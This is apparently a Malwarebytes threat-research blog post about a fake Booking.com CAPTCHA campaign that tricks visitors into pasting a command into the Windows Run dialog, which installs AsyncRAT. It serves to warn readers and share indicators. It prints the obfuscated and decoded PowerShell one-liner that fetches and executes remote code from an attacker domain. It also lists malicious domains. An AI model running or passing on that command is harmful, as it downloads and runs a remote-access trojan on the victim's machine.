We found that cybercriminals are preparing for the impending holiday season with a redirect campaign leading to AsyncRAT.
Cybercriminals have started a campaign of redirecting links placed on gaming sites and social media—and as sponsored ads—that lead to fake websites posing as Booking.com. According to Malwarebytes research, 40% of people book travel through a general online search, creating a lot of opportunities for scammers.
The first signs of the campaign showed up mid-May and the final redirect destination changes every two to three days.
Following the links brings visitors to a familiar strategy where fake CAPTCHA websites hijack your clipboard and try to trick visitors into infecting their own device.
fake Captcha
fake Captcha prompt
As usual on these websites, by putting a checkmark in the fake Captcha prompt you’re giving the website permission to copy something to your clipboard.
Afterwards, the scammers involved will try to have the visitor execute a Run command on their computer. This type of prompt is never used in legitimate Captcha forms and should be immediately suspicious to all individuals.
instructions for the visitor
instructions to infect your own device
If you’re using Chrome, you may see this warning:
Chrome warns but for what?
Chrome issues a warning but it may the danger may be unclear to users
The warning is nice, but it’s not very clear what this warning is for, in my opinion.
Users of Malwarebytes’ Browser Guard will see this warning:
Browser Guard clipboard warning
Malwarebytes Browser Guard’s clipboard warning
“Hey, did you just copy something?
Heads up, your clipboard was just accessed from this website. Be sure you trust the owner before passing this someplace you don’t want it. Like a terminal or an email to your boss.”
Well, either way, don’t just discard these warnings. Even if you think you’re looking at an actual booking website, this is not the kind of instructions you’re expected to follow.
What the website just put on the clipboard may look like gobbledegook to some, though more experienced users will see the danger.
pOwERsheLl –N"O"p"rO" /w h -C"Om"ManD "$b"a"np = 'b"kn"g"n"et.com';$r"k"v = I"n"v"o"k"e-"R"e"stMethod -Uri $ba"n"p;I"nv"oke"-"E"xp"r"es"sion $r"k"v"
The cybercriminals used mixed casing, quote interruption, and variable name manipulation to hide their true intentions, but what it actually says (and does if you follow the instructions) is:
powershell -NoProfile -WindowStyle Hidden -Command "$banp = 'bkngnet.com'; $rkv = Invoke-RestMethod -Uri $banp; Invoke-Expression $rkv"
The malicious Captcha form tells the user to copy the content of the clipboard into the Windows Run dialog box and execute the instructions from the above command. When Browser Guard detects that the text copied to the clipboard contains this kind of potentially malicious command, it will add the phrase Suspicious Content at the front of the copied content which makes it an invalid command and the user will see a warning instead of having infected themselves.
Should a user fall for this without any protections enabled, the command will open a hidden powershell window to download and execute a file called ckjg.exe which in turn would download and execute a file called Stub.exe which is detected by Malwarebytes/ThreatDown as Backdoor.AsyncRAT.
Backdoor.AsyncRAT is a backdoor Trojan which serves as a Remote Access Tool (RAT) designed to remotely monitor and control other computers. In other words, it puts your device at the mercy of the person controlling the RAT.
The criminals can gather sensitive and financial information from infected devices which can lead to financial damages and even identity theft.
IOCs
The domains and subdomains we found associated with this campaign rotate quickly. From what I could retrace, they change the URL to the landing page every two to three days. But here is a list of recently active ones.
(booking.)chargesguestescenter[.]com
(booking.)badgustrewivers.com[.]com
(booking.)property-paids[.]com
(booking.)rewiewqproperty[.]com
(booking.)extranet-listing[.]com
(booking.)guestsalerts[.]com
(booking.)gustescharge[.]com
kvhandelregis[.]com
patheer-moreinfo[.]com
guestalerthelp[.]com
rewiewwselect[.]com
hekpaharma[.]com
bkngnet[.]com
partnervrft[.]com
Learn more about how four malware, XWorm, AsyncRAT, VenomRAT, and PureLogs Stealer, are leveraging TryCloudflare and get security recommendations from our…
AhnLab SEcurity intelligence Center (ASEC) covered cases of AsyncRAT being distributed via various file extensions (.chm, .wsf, and .lnk). [1] [2]
In the aforementioned blog posts, it can be seen that the threat actor used normal document files disguised as questionnaires to conceal the malware. In a similar vein, there have been cases recently where the malware was disguised as an ebook.
Key Findings:
Earlier this year Malwarebytes released its 2022 Threat Review, a review of the most important threats and cybersecurity trends of 2021, and what they could mean for 2022. Among other things it covers the year’s alarming rebound in malware detections, and a significant shift in the balance of email threats.
